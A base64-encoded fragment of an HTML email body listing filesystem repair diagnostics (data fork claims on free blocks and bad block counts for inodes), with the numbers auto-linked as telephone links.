PjkzMDQ0MTI8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTY1MDI5Ij48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTY1MDI5PC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwv Zm9udD48YSBocmVmPSJ0ZWw6OTMwNDQxMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT45MzA0NDEzPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk2 NzA3MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk2 NzA3MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFp bXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMjIyNDAiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMyMjI0MDwvdT48L2ZvbnQ+PC9hPjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA4OTggZm9yIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NjcwNzIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NjcwNzI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA5MTM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDox Njk3MjUxMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4x Njk3MjUxMzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtj bGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMjIwOTYiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMyMjA5NjwvdT48L2ZvbnQ+PC9h Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzNTQgZm9yIGlu b2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NzI1MTMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NzI1MTM8L3U+PC9mb250PjwvYT48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzNjk8L2ZvbnQ+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRl bDoxNjk3Njk4MSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjk3Njk4MTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJz cDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI3MjY0Mjk2NSI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yNzI2NDI5NjU8L3U+PC9m b250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlu byA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTgwNDMxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTgwNDMxPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0 ZWw6OTMwNTk2NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT45MzA1OTY2PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk4MTAyMyI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk4MTAyMzwvdT48L2ZvbnQ+ PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTMyMTUiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZG IiBmYWNlPSJzZXJpZiI+PHU+OTMxMzIxNTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5 ODEwMjMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5 ODEwMjM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xh aW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzEzMjE2Ij48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTMyMTY8L3U+PC9mb250PjwvYT48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNTA4IGZvciBpbm9k ZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTgxMDIzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTgxMDIzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNTEzPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTY5ODMyNzEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MTY5ODMyNzE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7 Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDoyODAxNTE4NyI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yODAxNTE4NzwvdT48L2ZvbnQ+ PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwv Zm9udD48YSBocmVmPSJ0ZWw6MTY5ODMyNzEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZG IiBmYWNlPSJzZXJpZiI+PHU+MTY5ODMyNzE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDoy ODAxNTE4OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4y ODAxNTE4ODwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5i YWQgbmJsb2NrcyAyMTYgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODMyNzEiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODMyNzE8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAy MjU8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBp bm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk4MzI4MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk4MzI4MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjkzMjE5MDYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+OTMyMTkwNjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODMyODAiPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODMyODA8L3U+PC9mb250 PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sg PC9mb250PjxhIGhyZWY9InRlbDo5MzIxOTA3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjkzMjE5MDc8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgODMgZm9yIGlub2RlIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY5ODMyODAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY5ODMyODA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ LCB3b3VsZCByZXNldCB0byA5NzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTg3MDQ5Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTg3MDQ5PC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2Nr IDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxNDYzMSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT45MzE0NjMxPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDox Njk4NzA0OSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4x Njk4NzA0OTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtj bGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTQ2MzIiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxNDYzMjwvdT48L2ZvbnQ+PC9h Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA0MjIgZm9yIGlu b2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODcwNDkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODcwNDk8L3U+PC9mb250PjwvYT48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA0MzM8L2ZvbnQ+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRl bDoxNjk4OTcyMiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjk4OTcyMjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJz cDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjUwMTQwOTciPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NTAxNDA5NzwvdT48L2ZvbnQ+ PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwv Zm9udD48YSBocmVmPSJ0ZWw6MTY5OTAyMzgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZG IiBmYWNlPSJzZXJpZiI+PHU+MTY5OTAyMzg8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5 MzE4NDI0Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1Pjkz MTg0MjQ8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0 YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTkwMjM4Ij48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTkwMjM4PC91PjwvZm9udD48L2E+ PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9u dD48YSBocmVmPSJ0ZWw6OTMxODQyNSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT45MzE4NDI1PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDEwNTYgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0 ZWw6MTY5OTAzMDYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+MTY5OTAzMDY8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3 b3VsZCByZXNldCB0byAxMDU4PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTI2ODciPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTI2ODc8L3U+PC9mb250 PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sg PC9mb250PjxhIGhyZWY9InRlbDo5MzE4NjcxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjkzMTg2NzE8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 OTkyNjg3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 OTkyNjg3PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2Ns YWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxODY3MiI+PGZvbnQgc2l6ZT0i MyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE4NjcyPC91PjwvZm9udD48L2E+ PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDE4MCBmb3IgaW5v ZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk5MjY4NyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk5MjY4NzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDE5MzwvZm9udD48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVs OjE2OTk1MTE2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 PjE2OTk1MTE2PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNw O2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6NDAxMDU1MSI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT40MDEwNTUxPC91PjwvZm9udD48 L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9m b250PjxhIGhyZWY9InRlbDoxNjk5NTE2MSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT4xNjk5NTE2MTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI3 MzAxNzU1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjI3 MzAxNzU1PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRh dGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk5NTIzOSI+PGZvbnQgc2l6ZT0i MyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk5NTIzOTwvdT48L2ZvbnQ+PC9h Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2Zv bnQ+PGEgaHJlZj0idGVsOjcwMzk1MzQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBm YWNlPSJzZXJpZiI+PHU+NzAzOTUzNDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzOSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRl bDoxNjk5NTIzOSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjk5NTIzOTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdv dWxkIHJlc2V0IHRvIDQ5PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5k YXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTczNDQiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTczNDQ8L3U+PC9mb250Pjwv YT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9m b250PjxhIGhyZWY9InRlbDo5MzE2NzUxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjkzMTY3NTE8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTk3 MzQ0Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTk3 MzQ0PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWlt cyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxNjc1MiI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE2NzUyPC91PjwvZm9udD48L2E+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMwODUgZm9yIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTczNDQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTczNDQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDkxPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTcwMDA2NDAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MTcwMDA2NDA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7 Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDoxMDc2MjU0NzQ4Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjEwNzYyNTQ3NDg8L3U+PC9m b250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMzkw IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE3MDAwNjQwIj48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE3MDAwNjQwPC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNDAxPC9mb250Pjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTcwMDQ4MjQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTcwMDQ4MjQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MjkyODc5Ij48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkyOTI4Nzk8L3U+ PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGlu IGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE3MDA0ODI0Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE3MDA0ODI0PC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVm PSJ0ZWw6OTI5Mjg4MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT45MjkyODgwPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPmJhZCBuYmxvY2tzIDEzNDUgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTcwMDQ4 MjQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTcwMDQ4 MjQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNl dCB0byAxMzQ2PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJs b2NrcyAyMSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNzAwNTYyMSI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNzAwNTYyMTwvdT48L2ZvbnQ+ PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDMzPC9mb250 Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9u dD48YSBocmVmPSJ0ZWw6MTcwMDU5OTUiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBm YWNlPSJzZXJpZiI+PHU+MTcwMDU5OTU8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo1MzY1 MzY3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjUzNjUz Njc8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBm b3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE3MDA1OTk1Ij48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE3MDA1OTk1PC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48 YSBocmVmPSJ0ZWw6NTM2NTM2OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT41MzY1MzY4PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNzAxODY5NiI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNzAxODY5Njwv dT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJl ZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTYyNzgiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxNjI3ODwvdT48L2ZvbnQ+PC9hPjxicj4NCjxm 